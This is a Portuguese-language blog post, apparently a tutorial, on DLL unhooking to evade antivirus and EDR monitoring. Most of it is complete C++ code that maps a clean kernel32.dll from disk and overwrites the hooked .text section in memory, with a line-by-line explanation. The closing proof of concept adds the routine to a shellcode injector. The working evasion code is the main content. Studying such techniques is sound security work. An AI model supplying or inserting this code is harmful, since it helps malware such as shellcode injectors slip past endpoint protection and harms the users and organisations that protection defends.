Bom ao longo dos anos, os antivírus têm melhorado cada vez mais suas técnicas de detecção. Uma dessas
técnicas é realizar um hooking nas DLLs no Windows, que podem ser utilizadas por malwares.
no post de
hoje vou abordar uma técnica antiga e simples de como podemos realizar a técnica de DLL unhooking para
contornar possíveis antivírus.
O que é um hook?
No contexto de antivírus, um hook pode ser usado para monitorar e modificar chamadas de funções em APIs
do sistema, como as fornecidas pela kernel32.dll.
por exemplo um
antivírus pode usar hooks para interceptar chamadas a funções como CreateFile ou ReadFile para detectar
atividades suspeitas de malware, caso queira saber mais sobre recomendo que leia meu post: Creating-EDR-AV.
Unhooking
Digamos que temos um antivírus que realiza um hooking apenas na kernel32.dll para monitorar o uso de APIs como OpenProcess, VirtualAllocEx, WriteProcessMemory e CreateRemoteThread.
se quisermos contornar esse antivírus, poderíamos
ler a seção .text da kernel32.dll presente no disco e substituí-la pela seção .text mapeada na memória do processo.
ou seja, apenas vamos copiar o
original sem o hooking, e escrever sobre o que está hooked.
Monitoring APIs
Para a prova prática vamos usar um injetor simples, sem o código de unhooking para observar como ele se comporta perante o EDR/AV que fiz:
Código de unhooking:
Obtendo o Handle do Processo e do Módulo
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE kernel32Module = GetModuleHandleA("kernel32.dll");
if (kernel32Module == NULL) {
std::cerr << "Erro ao obter o handle do modulo kernel32.dll" << std::endl;
return;
}
else {
std::cout << "Handle do modulo kernel32.dll obtido com sucesso." << std::endl;
}
GetCurrentProcess(): Obtém um handle para o processo atual.
GetModuleHandleA("kernel32.dll"): Obtém o handle do módulo kernel32.dll que está carregado no processo atual, isso permite acessar
informações sobre o módulo.
Obtendo Informações do Módulo
if (!GetModuleInformation(process, kernel32Module, &mi, sizeof(mi))) {
std::cerr << "Erro ao obter informacoes do modulo kernel32.dll" << std::endl;
return;
}
else {
std::cout << "Informacoes do modulo kernel32.dll obtidas com sucesso!" << std::endl;
}
GetModuleInformation(): Preenche a estrutura MODULEINFO com informações sobre o módulo especificado, incluindo a base do módulo e o tamanho, isso é necessário para manipular a memória do módulo.
Abrindo o Arquivo DLL e Criando Mapeamento
HANDLE kernel32File = CreateFileA("c:\\windows\\system32\\kernel32.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (kernel32File == INVALID_HANDLE_VALUE) {
std::cerr << "Erro ao abrir o arquivo kernel32.dll." << std::endl;
return;
}
else {
std::cout << "Arquivo kernel32.dll aberto com sucesso!" << std::endl;
}
HANDLE kernel32Mapping = CreateFileMapping(kernel32File, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (kernel32Mapping == NULL) {
std::cerr << "Erro ao criar o mapeamento de arquivo para kernel32.dll" << std::endl;
CloseHandle(kernel32File);
return;
}
else {
std::cout << "Mapeamento de arquivo para kernel32.dll criado com sucesso!" << std::endl;
}
CreateFileA(): Abre o arquivo kernel32.dll no diretório do sistema.
CreateFileMapping(): Cria um mapeamento de arquivo para a DLL, permitindo
que o conteúdo do arquivo seja acessado diretamente na memória.
Mapeando o Arquivo na Memória
LPVOID kernel32MappingAddress = MapViewOfFile(kernel32Mapping, FILE_MAP_READ, 0, 0, 0);
if (kernel32MappingAddress == NULL) {
std::cerr << "Erro ao mapear o arquivo kernel32.dll na memoria." << std::endl;
CloseHandle(kernel32Mapping);
CloseHandle(kernel32File);
return;
}
else {
std::cout << "Arquivo kernel32.dll mapeado na memoria com sucesso!" << std::endl;
}
MapViewOfFile(): Mapeia a visão do arquivo para a memória, permitindo que o conteúdo do arquivo seja lido diretamente.
Restaurando a Seção .text do Módulo
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)kernel32Base;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)kernel32Base + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)kernel32Base + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
if (!isProtected) {
std::cerr << "Erro ao alterar as permissões de memoria na secao .text" << std::endl;
UnmapViewOfFile(kernel32MappingAddress);
CloseHandle(kernel32Mapping);
CloseHandle(kernel32File);
return;
}
memcpy((LPVOID)((DWORD_PTR)kernel32Base + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)kernel32MappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
std::cout << "Secao .text restaurada com sucesso!" << std::endl;
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)kernel32Base + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
if (!isProtected) {
std::cerr << "Erro ao restaurar as permissoes de memoria na secao .text" << std::endl;
UnmapViewOfFile(kernel32MappingAddress);
CloseHandle(kernel32Mapping);
CloseHandle(kernel32File);
return;
}
}
}
PIMAGE_DOS_HEADER e PIMAGE_NT_HEADERS: Estruturas que representam o cabeçalho do arquivo PE
(Portable Executable) da DLL.
VirtualProtect(): Modifica as
permissões de proteção da memória para permitir escrita.
memcpy():
Copia a seção .text da DLL mapeada de volta para o módulo carregado
na memória.
Limpando e Concluindo
UnmapViewOfFile(kernel32MappingAddress);
CloseHandle(kernel32Mapping);
CloseHandle(kernel32File);
FreeLibrary(kernel32Module);
std::cout << "Operacao concluida com sucesso!" << std::endl;
UnmapViewOfFile(): Desfaz o mapeamento do arquivo da
memória.
CloseHandle(): Fecha os handles abertos.
FreeLibrary(): Descarrega a DLL do processo.
Código Completo:
void Unhooking()
{
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE kernel32Module = GetModuleHandleA("kernel32.dll");
if (kernel32Module == NULL) {
std::cerr << "Erro ao obter o handle do modulo kernel32.dll" << std::endl;
return;
}
else {
std::cout << "Handle do modulo kernel32.dll obtido com sucesso." << std::endl;
}
if (!GetModuleInformation(process, kernel32Module, &mi, sizeof(mi))) {
std::cerr << "Erro ao obter informacoes do modulo kernel32.dll" << std::endl;
return;
}
else {
std::cout << "Informacoes do modulo kernel32.dll obtidas com sucesso!" << std::endl;
}
LPVOID kernel32Base = (LPVOID)mi.lpBaseOfDll;
HANDLE kernel32File = CreateFileA("c:\\windows\\system32\\kernel32.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (kernel32File == INVALID_HANDLE_VALUE) {
std::cerr << "Erro ao abrir o arquivo kernel32.dll." << std::endl;
return;
}
else {
std::cout << "Arquivo kernel32.dll aberto com sucesso!" << std::endl;
}
HANDLE kernel32Mapping = CreateFileMapping(kernel32File, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (kernel32Mapping == NULL) {
std::cerr << "Erro ao criar o mapeamento de arquivo para kernel32.dll" << std::endl;
CloseHandle(kernel32File);
return;
}
else {
std::cout << "Mapeamento de arquivo para kernel32.dll criado com sucesso!" << std::endl;
}
LPVOID kernel32MappingAddress = MapViewOfFile(kernel32Mapping, FILE_MAP_READ, 0, 0, 0);
if (kernel32MappingAddress == NULL) {
std::cerr << "Erro ao mapear o arquivo kernel32.dll na memoria." << std::endl;
CloseHandle(kernel32Mapping);
CloseHandle(kernel32File);
return;
}
else {
std::cout << "Arquivo kernel32.dll mapeado na memoria com sucesso!" << std::endl;
}
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)kernel32Base;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)kernel32Base + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)kernel32Base + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
if (!isProtected) {
std::cerr << "Erro ao alterar as permissões de memoria na secao .text" << std::endl;
UnmapViewOfFile(kernel32MappingAddress);
CloseHandle(kernel32Mapping);
CloseHandle(kernel32File);
return;
}
memcpy((LPVOID)((DWORD_PTR)kernel32Base + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)kernel32MappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
std::cout << "Secao .text restaurada com sucesso!" << std::endl;
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)kernel32Base + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
if (!isProtected) {
std::cerr << "Erro ao restaurar as permissoes de memoria na secao .text" << std::endl;
UnmapViewOfFile(kernel32MappingAddress);
CloseHandle(kernel32Mapping);
CloseHandle(kernel32File);
return;
}
}
}
UnmapViewOfFile(kernel32MappingAddress);
CloseHandle(kernel32Mapping);
CloseHandle(kernel32File);
FreeLibrary(kernel32Module);
std::cout << "Operacao concluida com sucesso!" << std::endl;
}
Prova De Conceito:
Note que, para realizar esta prova de conceito eu fiz o seguinte: adicionei ao código de um simples injetor de shellcode o código de unhooking e comentei o uso da API OpenProcess como [HOOKED], pois realizo o unhooking apenas depois do uso dessa API para mostrar que de fato a DLL do EDR/AV estava realizando o hook das APIs normalmente antes de realizar o unhooking.